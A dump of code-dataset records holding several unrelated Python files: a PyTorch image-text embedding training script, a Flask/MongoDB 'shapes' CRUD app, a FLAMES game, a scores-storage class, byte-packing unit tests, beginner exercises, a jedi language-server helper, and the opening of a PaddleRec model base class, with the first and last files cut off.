import VSE, clip_grad_norm\nfrom tool.embedding_tool import AverageMeter,i2t, t2i, LogCollector, encode_data,save_encoding\nimport pickle as cPickle\nfrom torchvision import transforms, datasets, models\n\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--data_path', default='/mnt/data3/web_feature_training/google',\n help='path to datasets')\n parser.add_argument('--data_name', default='precomp',\n help='precomp or full')\n parser.add_argument('--vocab_path', default='/home/betty/Downloads/wiki-news-300d-1M-subword.vec',\n help='Path to saved vocabulary files.')\n parser.add_argument('--vocab_save', default='/home/betty/save.vec',\n help='Path to saved vocabulary files.')\n parser.add_argument('--margin', default=0.2, type=float,\n help='Rank loss margin.')\n parser.add_argument('--num_epochs', default=30, type=int,\n help='Number of training epochs.')\n parser.add_argument('--batch_size', default=168, type=int,\n help='Size of a training mini-batch.')\n parser.add_argument('--word_dim', default=300, type=int,\n help='Dimensionality of the word embedding.')\n parser.add_argument('--embed_size', default=256, type=int,\n help='Dimensionality of the joint embedding.')\n parser.add_argument('--grad_clip', default=2., type=float,\n help='Gradient clipping threshold.')\n parser.add_argument('--crop_size', default=224, type=int,\n help='Size of an image crop as the CNN input.')\n parser.add_argument('--num_layers', default=1, type=int,\n help='Number of GRU layers.')\n parser.add_argument('--learning_rate', default=.0002, type=float,\n help='Initial learning rate.')\n parser.add_argument('--lr_update', default=60, type=int,\n help='Number of epochs to update the learning rate.')\n parser.add_argument('--workers', default=4, type=int,\n help='Number of data loader workers.')\n parser.add_argument('--log_step', default=50, type=int,\n help='Number of steps to print and record the log.')\n parser.add_argument('--val_step', default=500, type=int,\n help='Number of steps to run validation.')\n parser.add_argument('--logger_name', default='/mnt/data4/embedding_training_result',\n help='Path to save the model and Tensorboard log.')\n parser.add_argument('--resume', #default='/mnt/data4/embedding_training_result/savepoint.pth.tar', type=str, metavar='PATH',\n help='path to latest checkpoint (default: none)')\n parser.add_argument('--max_violation', action='store_true',\n help='Use max instead of sum in the rank loss.')\n parser.add_argument('--img_dim', default=2048, type=int,\n help='Dimensionality of the image embedding.')\n parser.add_argument('--finetune', action='store_true',\n help='Fine-tune the image encoder.')\n parser.add_argument('--cnn_type', default='resnet50',\n help=\"\"\"The CNN used for image encoder\n (e.g. vgg19, resnet152)\"\"\")\n parser.add_argument('--use_restval', action='store_true',\n help='Use the restval data for training on MSCOCO.')\n parser.add_argument('--measure', default='cosine',\n help='Similarity measure used (cosine|order)')\n parser.add_argument('--use_abs', action='store_true',\n help='Take the absolute value of embedding vectors.')\n parser.add_argument('--no_imgnorm', action='store_true',\n help='Do not normalize the image embeddings.')\n parser.add_argument('--reset_train', action='store_true',\n help='Ensure the training is always done in '\n 'train mode (Not recommended).')\n parser.add_argument('--root_img', default='/mnt/data3/web_feature_training/',\n help='img or feature root folder')\n parser.add_argument('--root_json', default='/mnt/data1/webvision2.0/',\n help='json root folder')\n parser.add_argument('--gpus', help='GPU id to use',\n default=\"0,1,2,3\", type=str)\n parser.add_argument('--save_fq', help='saving backup fq' , default='700', type=int )\n\n opt = parser.parse_args()\n print(opt)\n\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n # Image transformer\n train_transform = transforms.Compose([\n transforms.RandomResizedCrop(opt.crop_size),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n normalize])\n valid_transform = transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(opt.crop_size),\n transforms.ToTensor(),\n normalize])\n\n\n #device = torch.device('cuda :0,1,2,3' if torch.cuda.is_available() else 'cpu')\n query_synset_dic={}\n with open(\"/mnt/data2/betty/Pictures/webvision/info/queries_synsets_map.txt\") as f:\n for line in f:\n (key, val) = line.split()\n query_synset_dic[int(key)] = val\n\n logging.basicConfig(format='%(asctime)s %(message)s', level=logging.INFO)\n tb_logger.configure(opt.logger_name, flush_secs=5)\n\n # Load Vocabulary Wrapper\n print(opt.vocab_path)\n w2v_model = gensim.models.KeyedVectors.load_word2vec_format('/home/betty/Downloads/wiki-news-300d-1M-subword.vec', binary=False) #(999994, 300) matrix \n #vocab = pickle.load(open(os.path.join(\n # opt.vocab_path, '%s_vocab.pkl' % opt.data_name), 'rb'))\n #w2v_model = api.load(\"fasttext-wiki-news-subwords-300\") #https://github.com/RaRe-Technologies/gensim-data\n #w2v_model = api.load(\"glove-wiki-gigaword-50\")\n vocab = w2v_model.wv\n #word2idx = dict([(k, v.index) for k, v in w2v_model.vocab.items()])\n #idx2word = dict([(v, k) for k, v in w2v_model.vocab.items()])\n \n opt.vocab_size = len(vocab.vocab)\n print(\"vocab is\", opt.vocab_size)\n model = VSE(opt, w2v_model, gpu_id=0)\n #only img\n \n\n train_dataset_google = EmbeddedFolder( root_json=pjoin(opt.root_json, \"google\"), root_img=pjoin(opt.root_img, \"google_solo\"), w2v_model=w2v_model, transform=train_transform, dict_=query_synset_dic, part=False)\n \n #train_loader_google = torch.utils.data.DataLoader(dataset=train_dataset, batch_size= opt.batch_size, pin_memory=True, collate_fn=collate_fn)\n\n train_dataset_flickr = EmbeddedFolder(root_json=pjoin(opt.root_json, \"flickr\"), root_img=pjoin(opt.root_img, \"flickr_solo\"), w2v_model=w2v_model, transform=train_transform, dict_=query_synset_dic, part=False)\n #train_loader_flickr = torch.utils.data.DataLoader(dataset=train_dataset, batch_size= opt.batch_size, pin_memory=True, collate_fn=collate_fn)\n concat_data = torch.utils.data.ConcatDataset(( train_dataset_flickr, train_dataset_google))\n #print(\"training from both, on\" , len(train_dataset_google)+len(train_dataset_flickr) )\n train_loader = torch.utils.data.DataLoader(dataset= concat_data, batch_size= opt.batch_size, pin_memory=True, shuffle=True, collate_fn=collate_fn)\n evaluate_loader = torch.utils.data.DataLoader(dataset=train_dataset_google, batch_size= opt.batch_size, pin_memory=True, collate_fn=collate_fn, shuffle=False)\n \n \n best_rsum = 0\n\n # optionally resume from a checkpoint\n if opt.resume:\n if os.path.isfile(opt.resume):\n print(\"=> loading checkpoint '{}'\".format(opt.resume))\n checkpoint = torch.load(opt.resume)\n start_epoch = checkpoint['epoch']\n #best_rsum = checkpoint['best_rsum']\n model.load_state_dict(checkpoint['model'])\n # Eiters is used to show logs as the continuation of another\n # training\n model.Eiters = checkpoint['Eiters']\n print(\"=> loaded checkpoint '{}' (epoch {}, best_rsum {})\"\n .format(opt.resume, start_epoch, best_rsum))\n #validate(opt, val_loader, model)\n else:\n print(\"=> no checkpoint found at '{}'\".format(opt.resume))\n\n\n\n \n# Train the Model\n for epoch in range(opt.num_epochs):\n adjust_learning_rate(opt, model.optimizer, epoch)\n\n # train for one epoch\n train(opt, train_loader, model, epoch, train_loader)\n\n rsum=best_rsum\n\n try:\n rsum = validate(opt, evaluate_loader, model, best_rsum)\n except:\n print(\"val skipped\")\n # remember best R@ sum and save checkpoint\n is_best = rsum > best_rsum\n #is_best = logger.best_epoch\n best_rsum = max(rsum, best_rsum)\n save_checkpoint({\n 'epoch': epoch + 1,\n 'model': model.state_dict(),\n 'best_rsum': best_rsum,\n 'opt': opt,\n 'Eiters': model.Eiters}, is_best, prefix=opt.logger_name + '/')\n \n\n\n\ndef train(opt, train_loader, model, epoch, val_loader):\n # average meters to record the training statistics\n batch_time = AverageMeter()\n data_time = AverageMeter()\n train_logger = LogCollector()\n writer = SummaryWriter(comment='webvision_embedding')\n\n # switch to train mode\n model.img_enc.train()\n model.txt_enc.train()\n\n end = time.time()\n for i, train_data in enumerate(train_loader):\n if opt.reset_train:\n # Always reset to train mode, this is not the default behavior\n model.img_enc.train()\n model.txt_enc.train()\n\n # measure data loading time\n data_time.update(time.time() - end)\n nb_img=i*len(train_data)\n\n # make sure train logger is used\n model.logger = train_logger\n\n #check GRU training\n print(\"GRU learning\", model.txt_enc.rnn.state_dict()[\"weight_ih_l0\"][0:10])\n data_batch = train_data[4]\n label_batch = train_data[3]\n # Update the model\n #loss_value, img_emb, cap_emb = model.train_emb(*train_data)\n model.train_emb(*train_data)\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n #print(\"weight\", writer, loss_value.data.item(), (epoch*len(train_loader)+i))\n #writer.add_scalar('loss', loss_value.data.item(), (epoch*len(train_loader)+i))\n # Print log info\n if model.Eiters % opt.log_step == 0:\n logging.info(\n 'Epoch: [{0}][{1}/{2}]\\t'\n '{e_log}\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'\n 'Nb_img {nb_img:.3f}\\t'\n .format(\n epoch, i, len(train_loader), batch_time=batch_time,\n data_time=data_time, e_log=str(model.logger), nb_img=nb_img))\n \n\n # Record logs in tensorboard\n tb_logger.log_value('epoch', epoch, step=model.Eiters)\n tb_logger.log_value('step', i, step=model.Eiters)\n tb_logger.log_value('batch_time', batch_time.val, step=model.Eiters)\n tb_logger.log_value('data_time', data_time.val, step=model.Eiters)\n model.logger.tb_log(tb_logger, step=model.Eiters)\n\n # validate at every val_step\n # if model.Eiters % opt.val_step == 0:\n # validate(opt, val_loader, model)\n #writer.close()\n if model.Eiters % opt.save_fq == 0:\n save_checkpoint({\n 'epoch': epoch + 1,\n #'query_id': train_loader.dataset.datasets[0].actual_query,\n #'folder': train_loader.dataset.datasets[0].actual_folder,\n 'model': model.state_dict(),\n 'opt': opt,\n 'Eiters': model.Eiters,}, is_best=False, filename='savepoint.pth.tar', prefix=opt.logger_name + '/')\n\ndef validate(opt, val_loader, model, best_rsum):\n # compute the encoding for all the validation images and captions\n img_embs, cap_embs = encode_data(\n model, val_loader, opt.log_step, logging.info)\n\n # caption retrieval\n (r1, r5, r10, medr, meanr) = i2t(img_embs, cap_embs, measure=opt.measure)\n logging.info(\"Image to text: %.1f, %.1f, %.1f, %.1f, %.1f\" %\n (r1, r5, r10, medr, meanr))\n #image retrieval\n (r1i, r5i, r10i, medri, meanr) = t2i(\n img_embs, cap_embs, measure=opt.measure)\n logging.info(\"Text to image: %.1f, %.1f, %.1f, %.1f, %.1f\" %\n (r1i, r5i, r10i, medri, meanr))\n # sum of recalls to be used for early stopping\n currscore = r1 + r5 + r10 + r1i + r5i + r10i\n\n # record metrics in tensorboard\n tb_logger.log_value('r1', r1, step=model.Eiters)\n tb_logger.log_value('r5', r5, step=model.Eiters)\n tb_logger.log_value('r10', r10, step=model.Eiters)\n tb_logger.log_value('medr', medr, step=model.Eiters)\n tb_logger.log_value('meanr', meanr, step=model.Eiters)\n tb_logger.log_value('r1i', r1i, step=model.Eiters)\n tb_logger.log_value('r5i', r5i, step=model.Eiters)\n tb_logger.log_value('r10i', r10i, step=model.Eiters)\n tb_logger.log_value('medri', medri, step=model.Eiters)\n tb_logger.log_value('meanr', meanr, step=model.Eiters)\n tb_logger.log_value('rsum', currscore, step=model.Eiters)\n\n \n # if(currscore>best_rsum):\n # nb=0\n # print(\"check sizes\", len(img_embs),len(cap_embs) )\n # while (5000*nb<len(img_embs) and nb*5000<len(cap_embs)):\n # try:\n # with open(pjoin(opt.logger_name, \"img\"+str(nb)+\".pkl\"), 'wb') as f:\n # cPickle.dump(img_embs[nb:nb+5000], f, protocol=cPickle.HIGHEST_PROTOCOL)\n\n # with open(pjoin(opt.logger_name, \"cap\"+str(nb)+\".pkl\"), 'wb') as f:\n # cPickle.dump(cap_embs[nb:nb+5000], f, protocol=cPickle.HIGHEST_PROTOCOL)\n # nb=nb+1\n # except:\n # break \n return currscore\n\ndef adjust_learning_rate(opt, optimizer, epoch):\n \"\"\"Sets the learning rate to the initial LR\n decayed by 10 every 30 epochs\"\"\"\n lr = opt.learning_rate * (0.1 ** (epoch // opt.lr_update))\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n\ndef save_checkpoint(state, is_best, filename='checkpoint.pth.tar', prefix=''):\n torch.save(state, prefix + filename)\n if is_best:\n shutil.copyfile(prefix + filename, prefix + 'model_best.pth.tar')\n print(\"saving at\", prefix + filename)\n\n\n\nif __name__ == '__main__':\n\n\n main()","sub_path":"train_embedding.py","file_name":"train_embedding.py","file_ext":"py","file_size_in_byte":15432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"17649106","text":"import os\nfrom flask import Flask, render_template, request, redirect, url_for\nfrom bson.objectid import ObjectId\nfrom pymongo import MongoClient\n\nhost = os.environ.get('MONGODB_URI', 'mongodb://localhost:27017/Contractor')\nclient = MongoClient(host=host)\ndb = client.get_default_database()\nshapes = db.shapes\ncomments = db.comments\n\napp = Flask(__name__)\n\n# OUR MOCK ARRAY OF PROJECTS\n#shapes = [\n# { 'title': 'Cat Videos', 'description': 'Cats acting weird' },\n# { 'title': '80\\'s Music', 'description': 'Don\\'t stop believing!' }\n#]\n\n@app.route('/')\ndef shapes_index():\n \"\"\"Show all playlists.\"\"\"\n return render_template('shapes_index.html', shapes=shapes.find())\n\n@app.route('/about')\ndef about():\n \"\"\"Show all playlists.\"\"\"\n return render_template('about.html')\n \n@app.route('/shapes', methods=['POST'])\ndef shapes_submit():\n \"\"\"Submit a new playlist.\"\"\"\n shape = {\n 'title': request.form.get('title'),\n 'description': request.form.get('description'),\n 'images': request.form.get('images'),\n 'rating': request.form.get('rating'),\n 'price': request.form.get('price')\n\n }\n print(shape)\n shape_id = shapes.insert_one(shape).inserted_id\n return redirect(url_for('shapes_show', shape_id=shape_id))\n\n@app.route('/shapes/new')\ndef shapes_new():\n \"\"\"Create a new playlist.\"\"\"\n return render_template('shapes_new.html', shape={}, title='New Shape')\n\n@app.route('/shapes/<shape_id>')\ndef shapes_show(shape_id):\n \"\"\"Show a single playlist.\"\"\"\n shape = shapes.find_one({'_id': ObjectId(shape_id)})\n shape_comments = comments.find({'shape_id': ObjectId(shape_id)})\n return render_template('shapes_show.html', shape=shape, comments=shape_comments)\n\n@app.route('/shapes/<shape_id>/edit')\ndef shapes_edit(shape_id):\n \"\"\"Show the edit form for a playlist.\"\"\"\n shape = shapes.find_one({'_id': ObjectId(shape_id)})\n return render_template('shapes_edit.html', shape=shape, title='Edit Shape')\n\n\n@app.route('/shapes/<shape_id>/delete', methods=['POST'])\ndef shapes_delete(shape_id):\n \"\"\"Delete one playlist.\"\"\"\n shapes.delete_one({'_id': ObjectId(shape_id)})\n return redirect(url_for('shapes_index'))\n\n@app.route('/shapes/comments', methods=['POST'])\ndef comments_new():\n \"\"\"Submit a new comment.\"\"\"\n comment = {\n 'title': request.form.get('title'),\n 'content': request.form.get('content'),\n 'shape_id': ObjectId(request.form.get('shape_id'))\n }\n print(comment)\n comment_id = comments.insert_one(comment).inserted_id\n return redirect(url_for('shapes_show', shape_id=request.form.get('shape_id')))\n\n@app.route('/shapes/<comment_id>/delete', methods=['POST'])\ndef comments_delete(comment_id):\n \"\"\"Submit a new comment.\"\"\"\n comments.delete_one({'_id': ObjectId(comment_id)})\n return redirect(url_for('shapes_show', shape_id=request.form.get('shape_id')))\n\n@app.route('/shapes/<shape_id>', methods=['POST'])\ndef shapes_update(shape_id):\n \"\"\"Submit an edited playlist.\"\"\"\n updated_shape = {\n 'title': request.form.get('title'),\n 'description': request.form.get('description'),\n 'images': request.form.get('images').split(),\n 'rating': request.form.get('rating'),\n 'price': request.form.get('price')\n }\n shapes.update_one(\n {'_id': ObjectId(shape_id)},\n {'$set': updated_shape})\n return redirect(url_for('shapes_show', shape_id=shape_id))\n\nif __name__ == '__main__':\n app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"333960699","text":"\nbasicSet = ['FRIENDS', 'LOVERS' , 'ANCESTORS' , 'MARRIAGE' , 'ENEMIES' , 'SIBILINGS']\n\ndef getUnmatchedCount(str1 , str2):\n\tstr3 = str1\n\tfor i in range(len(str1)):\n\t\tif str1[i] in str2 :\n\t\t\tstr2 = str2.replace(str1[i],'',1)\n\t\t\tstr3 = str3.replace(str1[i],'',1)\n\treturn len(str2) + len(str3)\n\n\nunMatchCount = getUnmatchedCount('rohila12345678','rahul')\nprint(unMatchCount)\nloopCount = 0\n\nwhile len(basicSet) != 1:\n loopCount = (loopCount + unMatchCount - 1)%len(basicSet)\n basicSet.remove(basicSet[loopCount])\n \nprint(basicSet[0])","sub_path":"PYTHON/flame.py","file_name":"flame.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"319462042","text":"import json\nimport os\nfrom source.query.scores_service.domain import MergerKey, ScorerKey\nfrom source.storage.stores.merged_scores_store.interface import MergedScoresStoreInterface\nfrom source.storage.stores.merged_scores_store.types import MergedScores, MergedScoresMetadata, MergerPerformance, \\\n MergedPerformanceMetadata, MergerModel, MergerMetadata\n\n\nclass InMemoryMergedScoresStore(MergedScoresStoreInterface):\n\n def __init__(self, io_handler):\n self.__io_handler = io_handler\n\n def store_merged_scores(self, merged_scores):\n \"\"\"\n @type merged_scores: L{MergedScores}\n \"\"\"\n metadata = merged_scores.metadata\n base_output_path = self.__get_base_merged_scores_path(metadata)\n self.__io_handler.save_raw_data(merged_scores.all_merged_scores, os.path.join(base_output_path,\n 'merged_scores.csv'))\n self.__io_handler.save_raw_data(merged_scores.merged_suspects_scores,\n os.path.join(base_output_path, 'merged_suspects.csv'))\n metadata_path = self.__get_merger_metadata_path(metadata)\n self.__io_handler.save_raw_data(json.dumps(metadata.merger_metadata.to_dict(), allow_nan=False, indent=2),\n metadata_path)\n\n def load_merged_scores(self, metadata):\n \"\"\"\n @type metadata: L{MergedScoresMetadata}\n @return: Loaded scores according to the given metadata\n @rtype: L{MergedScores}\n @raise LookupError: When scores don't exist\n \"\"\"\n base_output_path = self.__get_base_merged_scores_path(metadata)\n all_scores_df = self.__io_handler.load_raw_data(os.path.join(base_output_path, 'merged_scores.csv'))\n all_scores_df.index = all_scores_df.index.astype(float)\n suspects_scores_path = os.path.join(base_output_path, 'merged_suspects.csv')\n\n suspects_scores_df = self.__io_handler.load_raw_data(suspects_scores_path)\n suspects_scores_df.index = suspects_scores_df.index.astype(float)\n metadata_path = self.__get_merger_metadata_path(metadata)\n real_metadata = MergerMetadata.from_dict(json.loads(self.__io_handler.load_raw_data(metadata_path)))\n return MergedScores(all_scores_df, suspects_scores_df, real_metadata)\n\n def load_merger_metadata(self, metadata):\n metadata_path = self.__get_merger_metadata_path(metadata)\n real_metadata = MergerMetadata.from_dict(json.loads(self.__io_handler.load_raw_data(metadata_path)))\n return real_metadata\n\n def load_merged_performance(self, metadata):\n \"\"\"\n @type metadata: L{MergedPerformanceMetadata}\n \"\"\"\n input_path = self.__get_base_merged_performance_path(metadata, is_stable=False)\n return MergerPerformance(self.__io_handler.load_raw_data(input_path), metadata)\n\n def store_merged_performance(self, performance_object, is_stable):\n \"\"\"\n @type performance_object: L{MergerPerformance}\n \"\"\"\n output_path = self.__get_base_merged_performance_path(performance_object.metadata, is_stable)\n self.__io_handler.save_raw_data(performance_object.df, output_path)\n\n def store_merger_model(self, merger_model):\n \"\"\"\n @type merger_model: L{MergerModel}\n \"\"\"\n path = self.__get_base_merged_model_path(merger_model.metadata)\n self.__io_handler.save_raw_data(merger_model.model, path)\n\n @staticmethod\n def __get_base_merged_model_path(metadata):\n \"\"\"\n @type metadata: L{MergedScoresMetadata}\n \"\"\"\n merger_meta = metadata.merger_metadata\n merger_key = MergerKey(merger_meta.merger_name, merger_meta.merger_params, ScorerKey(merger_meta.scorer_name))\n output_path_join = os.path.join('sandbox-{}'.format(metadata.customer), 'Quests',\n metadata.quest_id, metadata.query_id,\n 'mergers', str(merger_key),\n 'artifacts', 'models', 'model.pkl')\n return output_path_join\n\n @staticmethod\n def __get_base_merged_scores_path(metadata):\n \"\"\"\n @type metadata: L{MergedScoresMetadata}\n @rtype: C{str}\n \"\"\"\n merger_meta = metadata.merger_metadata\n merger_key = MergerKey(merger_meta.merger_name, merger_meta.merger_params, ScorerKey(merger_meta.scorer_name))\n output_path_join = os.path.join('sandbox-{}'.format(metadata.customer), 'Quests', metadata.quest_id,\n metadata.query_id, 'mergers', str(merger_key), 'scores')\n return output_path_join\n\n @staticmethod\n def __get_base_mergers_path(customer, quest_id, query_id):\n path = os.path.join('sandbox-{}'.format(customer), 'Quests', quest_id, query_id, 'mergers')\n return path\n\n @staticmethod\n def __get_merger_metadata_path(metadata):\n \"\"\"\n @type metadata: L{MergedScoresMetadata}\n @rtype: C{str}\n \"\"\"\n merger_meta = metadata.merger_metadata\n merger_key = MergerKey(merger_meta.merger_name, merger_meta.merger_params, ScorerKey(merger_meta.scorer_name))\n output_path_join = os.path.join('sandbox-{}'.format(metadata.customer), 'Quests', metadata.quest_id,\n metadata.query_id, 'mergers', str(merger_key),\n 'metadata.json')\n\n return output_path_join\n\n @staticmethod\n def __get_base_merged_performance_path(metadata, is_stable):\n \"\"\"\n @type metadata: L{MergedPerformanceMetadata}\n @rtype: C{str}\n \"\"\"\n merged_scores_metadata = metadata.merged_scores_metadata\n merger_meta = merged_scores_metadata.merger_metadata\n merger_key = MergerKey(merger_meta.merger_name, merger_meta.merger_params, ScorerKey(merger_meta.scorer_name))\n output_path_join = os.path.join('sandbox-{}'.format(merged_scores_metadata.customer), 'Quests',\n merged_scores_metadata.quest_id, merged_scores_metadata.query_id,\n 'mergers' if not is_stable else 'stable_mergers', str(merger_key),\n 'artifacts', 'results_summary', '{}.csv'.format(metadata.performance_type))\n return output_path_join\n\n def load_all_merger_ids(self, customer, quest_id, query_id):\n mergers_path = self.__get_base_mergers_path(customer, quest_id, query_id)\n all_merger_paths = list(self.__io_handler.list_dir(mergers_path))\n merger_ids = [os.path.basename(os.path.split(os.path.split(full_name)[0])[0]) for full_name in all_merger_paths\n if \"merged_scores.csv\" in full_name]\n return merger_ids\n\n","sub_path":"internal/source/storage/stores/merged_scores_store/in_memory.py","file_name":"in_memory.py","file_ext":"py","file_size_in_byte":6845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"409216834","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport struct\n\nfrom .. import TestUnitBase\n\n\nclass TestPack(TestUnitBase):\n\n def test_pack_wrapping_byte(self):\n pack = self.load()\n self.assertEqual(\n pack(B'123, 34, 256, 12, 1, 234'),\n bytes(bytearray((123, 34, 0, 12, 1, 234)))\n )\n\n def test_pack_wrapping_dword(self):\n pack = self.load(blocksize=4, bigendian=True)\n self.assertEqual(\n pack(B'0xB0000000D 0x31337BAADC0DE'),\n bytes.fromhex('0000000DBAADC0DE')\n )\n\n def test_pack_words_default(self):\n pack = self.load(16, blocksize=2)\n self.assertEqual(\n pack(B'BAAD F00D FACE C0CA C01A'),\n struct.pack('<HHHHH', 0xBAAD, 0xF00D, 0xFACE, 0xC0CA, 0xC01A)\n )\n\n def test_pack_words_big(self):\n pack = self.load(16, blocksize=2, bigendian=True)\n self.assertEqual(\n pack(B'BAAD F00D FACE C0CA C01A'),\n struct.pack('>HHHHH', 0xBAAD, 0xF00D, 0xFACE, 0xC0CA, 0xC01A)\n )\n\n def test_pack_bigblock(self):\n bigint = 0xAB0F4E70B00A20391B0BB03C92D8110CE33017BE\n buffer = bigint.to_bytes(20, 'big')\n pack = self.load(blocksize=len(buffer), bigendian=True)\n self.assertEqual(\n pack('0x{:X}'.format(bigint).encode('utf-8')),\n buffer\n )\n\n def test_pack_reverse_01(self):\n unpack = self.load(16, blocksize=2, reverse=True, prefix=True, bigendian=True)\n self.assertEqual(\n unpack(bytes.fromhex('C0CAC01A')),\n B'\\n'.join([B'0xC0CA', B'0xC01A'])\n )\n\n def test_pack_reverse_02(self):\n unpack = self.load('-B2', '-R', '16')\n self.assertEqual(\n unpack(bytes.fromhex('C0CAC01A')),\n B'\\n'.join([B'CAC0', B'1AC0'])\n )\n\n def test_pack_reverse_03(self):\n packer = self.load('-B4')\n unpack = self.load('-B4', '-R', '16')\n self.assertEqual(unpack(packer(B'0x4512')), B'4512')\n\n def test_pack_hexint_array(self):\n pack = self.load()\n self.assertEqual(\n pack(B'0x90,0x90,0x34,0x65,0xAF,0xFD,0x01,0x02'),\n bytes.fromhex('90 90 34 65 AF FD 01 02')\n )\n","sub_path":"test/units/blockwise/test_pack.py","file_name":"test_pack.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"509162792","text":"# -*- coding: utf-8 -*-\n\n# Проверить, является ли введеное число четным.\ninput_nunber = int(input(\"Enter number: \"))\nif not input_nunber%2: #not иначе 0 - False\n print('even')\nelse:\n print('not even')\n\n\n# Проверить, является ли число нечетным, делится ли на три и на пять одновременно, но так, чтобы не делиться на 10.\nx = int(input(\"Enter number: \"))\nif (x%2 == 1 and x%3 == 0 and x%5 == 0 and x%10 !=0):\n print('Y')\n\n\n# Ввести число, вывести все его делители\nnumber = int(input(\"Enter number: \"))\ni = 1\nwhile i <= number:\n\tif number%i == 0:\n\t\tprint(i)\n\ti += 1\n\n\n# Ввести число, вывести его разряды и их множители.\nnumber = int(input(\"Enter number: \"))\nnumber = abs(number)\nl = str(number)\n\ncount = 0\nnumber //= 10\nwhile number > 0:\n number //= 10\n count += 1\n\nfinal_l = []\nfor i in l:\n # print(i)\n res = i + ' * 10 ** ' + str(count)\n count -= 1\n final_l.append(res)\nfinal_s = ' + '.join(final_l)\n\nprint(final_s.lstrip('+'))\n","sub_path":"2/practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"505171304","text":"#!/usr/bin/env python3.5\n\nimport argparse\nimport sys\nimport jedi\nimport json\n\n\ndef hover(args):\n\tsource = open(args.path, \"r\").read()\n\tscript = jedi.api.Script(source=source, line=args.line, column=args.column, path=args.path)\n\n\tfor c in script.completions():\n\t\tdocstring = c.docstring()\n\t\tif docstring == \"\":\n\t\t\tcontinue\n\n\t\tprint(c.docstring())\n\t\tsys.exit(0)\n\t\tbreak\n\n\tprint(\"No definition found\")\n\n\ndef definition(args):\n\tsource = open(args.path, \"r\").read()\n\tscript = jedi.api.Script(source=source, line=args.line, column=args.column, path=args.path)\n\n\tfor a in script.goto_assignments():\n\t\tif not a.is_definition():\n\t\t\tcontinue\n\n\t\tjson.dump({\n\t\t\t\"path\": a.module_path,\n\t\t\t\"line\": a.line,\n\t\t\t\"column\": a.column,\n\t\t}, sys.stdout, sort_keys=True)\n\t\tsys.exit(0)\n\t\tbreak\n\n\tprint(\"No definition found\")\n\n\ndef references(args):\n\tsource = open(args.path, \"r\").read()\n\tscript = jedi.api.Script(source=source, line=args.line, column=args.column, path=args.path)\n\n\tusages = script.usages()\n\tif len(usages) == 0:\n\t\tprint(\"No references found\")\n\t\treturn\n\n\tresults = []\n\tfor u in usages:\n\t\tif u.is_definition():\n\t\t\tcontinue\n\n\t\tresults.append({\n\t\t\t\"path\": u.module_path,\n\t\t\t\"line\": u.line,\n\t\t\t\"column\": u.column,\n\t\t})\n\n\tjson.dump(results, sys.stdout, sort_keys=True)\n\n\ndef main():\n\tparser = argparse.ArgumentParser(description=\"\")\n\tparser.add_argument('--path', help='The path of the file in the file system.', default=\"\")\n\tparser.add_argument('--line', help='The line to perform actions on (starting with 1).', default=1, type=int)\n\tparser.add_argument('--column', help='The column of the cursor (starting with 0).', default=0, type=int)\n\n\tsubparsers = parser.add_subparsers(help=\"\", dest=\"subcmd\")\n\thover_parser = subparsers.add_parser(\"hover\", help=\"\")\n\tdefinition_parser = subparsers.add_parser(\"definition\", help=\"\")\n\treferences_parser = subparsers.add_parser(\"references\", help=\"\")\n\n\targs = parser.parse_args()\n\tif args.path == \"\":\n\t\tprint(\"ls-python: --path is empty\")\n\t\tsys.exit(2)\n\telif args.line < 1:\n\t\tprint(\"ls-python: --line is not valid\")\n\t\tsys.exit(2)\n\telif args.column < 0:\n\t\tprint(\"ls-python: --column is not valid\")\n\t\tsys.exit(2)\n\n\tif args.subcmd == \"hover\":\n\t\thover(args)\n\telif args.subcmd == \"definition\":\n\t\tdefinition(args)\n\telif args.subcmd == \"references\":\n\t\treferences(args)\n\telse:\n\t\tprint(\"Sorry, I don't understand..\")\n\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":".bin/langserver-python.py","file_name":"langserver-python.py","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"612233051","text":"# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport abc\nimport os\nimport paddle.fluid as fluid\n\nfrom paddlerec.core.utils import envs\n\n\nclass ModelBase(object):\n \"\"\"Base Model\n \"\"\"\n __metaclass__ = abc.ABCMeta\n\n def __init__(self, config):\n \"\"\"R\n \"\"\"\n self._cost = None\n self._metrics = {}\n self._data_var = []\n self._infer_data_var = []\n self._infer_results = {}\n self._data_loader = None\n self._infer_data_loader = None\n self._fetch_interval = 20\n self._platform = envs.get_platform()\n self._init_hyper_parameters()\n self._env = config\n self._slot_inited = False\n\n def _init_hyper_parameters(self):\n pass\n\n def 